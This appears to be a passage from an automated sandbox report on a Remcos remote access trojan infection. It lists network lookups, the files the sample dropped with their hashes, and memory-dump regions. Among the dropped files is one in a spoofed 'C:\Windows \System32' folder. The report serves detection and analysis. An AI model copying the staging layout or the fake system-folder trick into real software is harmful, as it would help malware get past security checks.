US 8.8.8.8:53 11.227.111.52.in-addr.arpa udp
US 8.8.8.8:53 138.201.86.20.in-addr.arpa udp
US 8.8.8.8:53 tse1.mm.bing.net udp
US 150.171.27.10:443 tse1.mm.bing.net tcp
US 150.171.27.10:443 tse1.mm.bing.net tcp
US 150.171.27.10:443 tse1.mm.bing.net tcp
US 150.171.27.10:443 tse1.mm.bing.net tcp
US 150.171.27.10:443 tse1.mm.bing.net tcp
US 8.8.8.8:53 10.27.171.150.in-addr.arpa udp

Files

C:\Users\Public\alpha.exe

MD5 8a2122e8162dbef04694b9c3e0b6cdee
SHA1 f1efb0fddc156e4c61c5f78a54700e4e7984d55d
SHA256 b99d61d874728edc0918ca0eb10eab93d381e7367e377406e65963366c874450
SHA512 99e784141193275d4364ba1b8762b07cc150ca3cb7e9aa1d4386ba1fa87e073d0500e61572f8d1b071f2faa2a51bb123e12d9d07054b59a1a2fd768ad9f24397

C:\Users\Public\kn.exe

MD5 bd8d9943a9b1def98eb83e0fa48796c2
SHA1 70e89852f023ab7cde0173eda1208dbb580f1e4f
SHA256 8de7b4eb1301d6cbe4ea2c8d13b83280453eb64e3b3c80756bbd1560d65ca4d2
SHA512 95630fdddad5db60cc97ec76ee1ca02dbb00ee3de7d6957ecda8968570e067ab2a9df1cc07a3ce61161a994acbe8417c83661320b54d04609818009a82552f7b

C:\Users\Public\CLEAN.GIF

MD5 4c63a70c4224e12f302dc97da70bff09
SHA1 27da43a347a39fc3582ce98bb77726bf0f0d788b
SHA256 00032a8c09f96d692586cfa0b0894bb12049e8266f9bc8c2a5950f4c542269fd
SHA512 a21072370b65e9a0dc9a7be4c840c4353114e9e1f695cadd46ad1fab2fd751d27e9a38b6dad545bbcba2a2eb93c640791be31fc08e32f055c6fad4efec444544

C:\Users\Public\Libraries\CLEAN.COM

MD5 37d7e65db3d1daaba7f4f3a422f256c0
SHA1 845ddbc4975214a41098d5d7d1a039e27a9acc9d
SHA256 e6967254aa75982a43c73985e63d60f5b0688ceeb06c11c1748622959cb95c08
SHA512 edb70bdda279422aaded553a3d6d5ad36c1659181394c4c488f41d257b5fa1707f0db456d2c549a7c8ec8944b3ca90703788ccce3f0d8cb26fc43b6fd42a3011

memory/1588-28-0x0000000000400000-0x00000000004F8000-memory.dmp

C:\Users\Public\Libraries\lzfanvaS.pif

MD5 c116d3604ceafe7057d77ff27552c215
SHA1 452b14432fb5758b46f2897aeccd89f7c82a727d
SHA256 7bcdc2e607abc65ef93afd009c3048970d9e8d1c2a18fc571562396b13ebb301
SHA512 9202a00eeaf4c5be94de32fd41bfea40fc32d368955d49b7bad2b5c23c4ebc92dccb37d99f5a14e53ad674b63f1baa6efb1feb27225c86693ead3262a26d66c6

memory/3320-37-0x0000000000400000-0x000000000041A000-memory.dmp

memory/3320-32-0x0000000000400000-0x0000000001400000-memory.dmp

memory/3320-35-0x0000000000400000-0x0000000001400000-memory.dmp

memory/3320-38-0x0000000000400000-0x0000000001400000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\CC87.tmp\CC98.tmp\CC99.bat

MD5 e62f427202d3e5a3ba60ebe78567918c
SHA1 6ef0cd5ba6c871815fceb27ff095a7931452b334
SHA256 06bee225a830ea0e67b91fd7d24280c5315ef82049b25b07c9cfde4e36a639ff
SHA512 e15148ba4099f3b8c73319be32a5f76226d21e7fb90123bec68e5106d03b7d3e8af8caa0421667920967e8921787ba255dc4bf23d35792bf8e9a20f1e18283c6

C:\Users\Public\xkn.exe

MD5 04029e121a0cfa5991749937dd22a1d9
SHA1 f43d9bb316e30ae1a3494ac5b0624f6bea1bf054
SHA256 9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f
SHA512 6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b

memory/440-67-0x0000026D84FA0000-0x0000026D84FC2000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_blywut0r.mwf.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

C:\Users\Public\ger.exe

MD5 227f63e1d9008b36bdbcc4b397780be4
SHA1 c0db341defa8ef40c03ed769a9001d600e0f4dae
SHA256 c0e25b1f9b22de445298c1e96ddfcead265ca030fa6626f61a4a4786cc4a3b7d
SHA512 101907b994d828c83587c483b4984f36caf728b766cb7a417b549852a6207e2a3fe9edc8eff5eeab13e32c4cf1417a3adccc089023114ea81974c5e6b355fed9

C:\Windows \System32\per.exe

MD5 85018be1fd913656bc9ff541f017eacd
SHA1 26d7407931b713e0f0fa8b872feecdb3cf49065a
SHA256 c546e05d705ffdd5e1e18d40e2e7397f186a7c47fa5fc21f234222d057227cf5
SHA512 3e5903cf18386951c015ae23dd68a112b2f4b0968212323218c49f8413b6d508283cc6aaa929dbead853bd100adc18bf497479963dad42dfafbeb081c9035459

memory/3320-100-0x0000000000400000-0x000000000041A000-memory.dmp

memory/3320-98-0x0000000000400000-0x0000000001400000-memory.dmp

memory/1588-109-0x0000000033A90000-0x0000000034A90000-memory.dmp

memory/1588-106-0x0000000033A90000-0x0000000034A90000-memory.dmp

memory/1588-110-0x0000000033A90000-0x0000000034A90000-memory.dmp

memory/1588-112-0x0000000033A90000-0x0000000034A90000-memory.dmp

memory/1588-111-0x0000000033A90000-0x0000000034A90000-memory.dmp

memory/1588-113-0x0000000033A90000-0x0000000034A90000-memory.dmp

memory/1588-114-0x0000000033A90000-0x0000000034A90000-memory.dmp

memory/1588-116-0x0000000033A90000-0x0000000034A90000-memory.dmp

memory/3116-126-0x0000000000400000-0x0000000000462000-memory.dmp

memory/2232-133-0x0000000000400000-0x0000000000424000-memory.dmp

memory/2232-136-0x0000000000400000-0x0000000000424000-memory.dmp

memory/2232-140-0x0000000000400000-0x0000000000424000-memory.dmp

memory/2232-137-0x0000000000430000-0x00000000004F9000-memory.dmp

memory/3116-135-0x0000000000400000-0x0000000000462000-memory.dmp

memory/4100-134-0x0000000000400000-0x0000000000478000-memory.dmp

memory/2232-129-0x0000000000400000-0x0000000000424000-memory.dmp

memory/2232-127-0x0000000000400000-0x0000000000424000-memory.dmp

memory/3116-124-0x0000000000400000-0x0000000000462000-memory.dmp

memory/4100-125-0x0000000000400000-0x0000000000478000-memory.dmp

memory/4100-123-0x0000000000400000-0x0000000000478000-memory.dmp

memory/3116-121-0x0000000000400000-0x0000000000462000-memory.dmp

memory/4100-119-0x0000000000400000-0x0000000000478000-memory.dmp

memory/4100-142-0x0000000000400000-0x0000000000478000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\wygdsajldzb

MD5 463b5cfc270ed672e140fc2c1a25aec1
SHA1 23e37a49996b1208888e054fab11aa1e1a81f649
SHA256 2bd023dd922e93f6c6f471751ae97a1fd24a93aa4230e53ac91b8c37dab9b185
SHA512 b0fa0425dc462fa10a56fb28f36b84f3a0e6426922c1fd37e56c4406e713a00aef2bbc04024f06133d1f63960a97372feb32fd4ebf43105b9d9823f37820b4b6

memory/1588-146-0x000000004C610000-0x000000004C629000-memory.dmp

memory/1588-150-0x000000004C610000-0x000000004C629000-memory.dmp

memory/1588-149-0x000000004C610000-0x000000004C629000-memory.dmp

memory/1588-151-0x0000000033A90000-0x0000000034A90000-memory.dmp

memory/1588-154-0x0000000033A90000-0x0000000034A90000-memory.dmp

memory/1588-155-0x0000000033A90000-0x0000000034A90000-memory.dmp

C:\ProgramData\remcos\logs.dat

MD5 ef5128854e0cbd0d1f136e7965b89498
SHA1 b2d5cf355bd086e0196aff522816c374a14f7615
SHA256 ad4d9228ac30c385d57bdbea06af956bf7f7b5e406a1be3a0985ec409045c1fa
SHA512 58dcc60064128adcaf30b1296dd1e20a0b195faccd239f9e68f1bb98c52bd36aaba0b1f4fea0d9a75e2508a757a32979328a0b235a47b4dffe253787a4676248

memory/1588-165-0x0000000033A90000-0x0000000034A90000-memory.dmp

memory/1588-166-0x0000000033A90000-0x0000000034A90000-memory.dmp

memory/1588-176-0x0000000033A90000-0x0000000034A90000-memory.dmp

memory/1588-187-0x0000000033A90000-0x0000000034A90000-memory.dmp

memory/1588-188-0x0000000033A90000-0x0000000034A90000-memory.dmp